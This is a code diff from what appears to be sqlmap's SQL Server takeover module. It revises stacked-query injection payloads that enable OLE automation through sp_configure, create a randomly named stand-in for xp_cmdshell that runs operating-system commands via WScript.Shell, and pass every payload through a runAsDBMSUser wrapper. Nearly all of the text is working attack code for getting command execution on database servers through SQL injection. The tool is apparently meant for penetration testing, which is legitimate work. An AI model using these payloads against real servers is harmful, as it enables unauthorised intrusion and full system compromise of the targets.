|
5 | 5 | See the file 'doc/COPYING' for copying permission |
6 | 6 | """ |
7 | 7 |
|
| 8 | +from lib.core.agent import agent |
8 | 9 | from lib.core.common import Backend |
9 | 10 | from lib.core.common import getSPQLSnippet |
10 | 11 | from lib.core.common import hashDBWrite |
@@ -40,26 +41,28 @@ def __xpCmdshellCreate(self): |
40 | 41 | if Backend.isVersionWithin(("2005", "2008")): |
41 | 42 | logger.debug("activating sp_OACreate") |
42 | 43 |
|
43 | | - cmd += "EXEC master..sp_configure 'show advanced options', 1; " |
44 | | - cmd += "RECONFIGURE WITH OVERRIDE; " |
45 | | - cmd += "EXEC master..sp_configure 'ole automation procedures', 1; " |
46 | | - cmd += "RECONFIGURE WITH OVERRIDE; " |
47 | | - inject.goStacked(cmd) |
| 44 | + cmd += "EXEC master..sp_configure 'show advanced options',1;" |
| 45 | + cmd += "RECONFIGURE WITH OVERRIDE;" |
| 46 | + cmd += "EXEC master..sp_configure 'ole automation procedures',1;" |
| 47 | + cmd += "RECONFIGURE WITH OVERRIDE" |
| 48 | + inject.goStacked(agent.runAsDBMSUser(cmd)) |
48 | 49 |
|
49 | 50 | self.__randStr = randomStr(lowercase=True) |
| 51 | + self.__xpCmdshellNew = randomStr(lowercase=True) |
| 52 | + self.xpCmdshellStr = "master..xp_%s" % self.__xpCmdshellNew |
50 | 53 |
|
51 | | - cmd += "DECLARE @%s nvarchar(999); " % self.__randStr |
| 54 | + cmd = "DECLARE @%s nvarchar(999);" % self.__randStr |
52 | 55 | cmd += "set @%s='" % self.__randStr |
53 | | - cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int " |
54 | | - cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT " |
55 | | - cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 " |
56 | | - cmd += "EXEC sp_OADestroy @ID'; " |
57 | | - cmd += "EXEC master..sp_executesql @%s;" % self.__randStr |
| 56 | + cmd += "CREATE PROCEDURE xp_%s(@cmd varchar(255)) AS DECLARE @ID int " % self.__xpCmdshellNew |
| 57 | + cmd += "EXEC sp_OACreate ''WScript.Shell'',@ID OUT " |
| 58 | + cmd += "EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 " |
| 59 | + cmd += "EXEC sp_OADestroy @ID';" |
| 60 | + cmd += "EXEC master..sp_executesql @%s" % self.__randStr |
58 | 61 |
|
59 | 62 | if Backend.isVersionWithin(("2005", "2008")): |
60 | | - cmd += " RECONFIGURE WITH OVERRIDE;" |
| 63 | + cmd += ";RECONFIGURE WITH OVERRIDE" |
61 | 64 |
|
62 | | - inject.goStacked(cmd) |
| 65 | + inject.goStacked(agent.runAsDBMSUser(cmd)) |
63 | 66 |
|
64 | 67 | def __xpCmdshellConfigure2005(self, mode): |
65 | 68 | debugMsg = "configuring xp_cmdshell using sp_configure " |
@@ -88,7 +91,7 @@ def __xpCmdshellConfigure(self, mode): |
88 | 91 | else: |
89 | 92 | cmd = self.__xpCmdshellConfigure2000(mode) |
90 | 93 |
|
91 | | - inject.goStacked(cmd) |
| 94 | + inject.goStacked(agent.runAsDBMSUser(cmd)) |
92 | 95 |
|
93 | 96 | def __xpCmdshellCheck(self): |
94 | 97 | cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) |
@@ -153,7 +156,7 @@ def xpCmdshellForgeCmd(self, cmd): |
153 | 156 | self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd) |
154 | 157 | self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr) |
155 | 158 |
|
156 | | - return self.runAsDBMSUser(self.__forgedCmd) |
| 159 | + return agent.runAsDBMSUser(self.__forgedCmd) |
157 | 160 |
|
158 | 161 | def xpCmdshellExecCmd(self, cmd, silent=False): |
159 | 162 | cmd = self.xpCmdshellForgeCmd(cmd) |
|
0 commit comments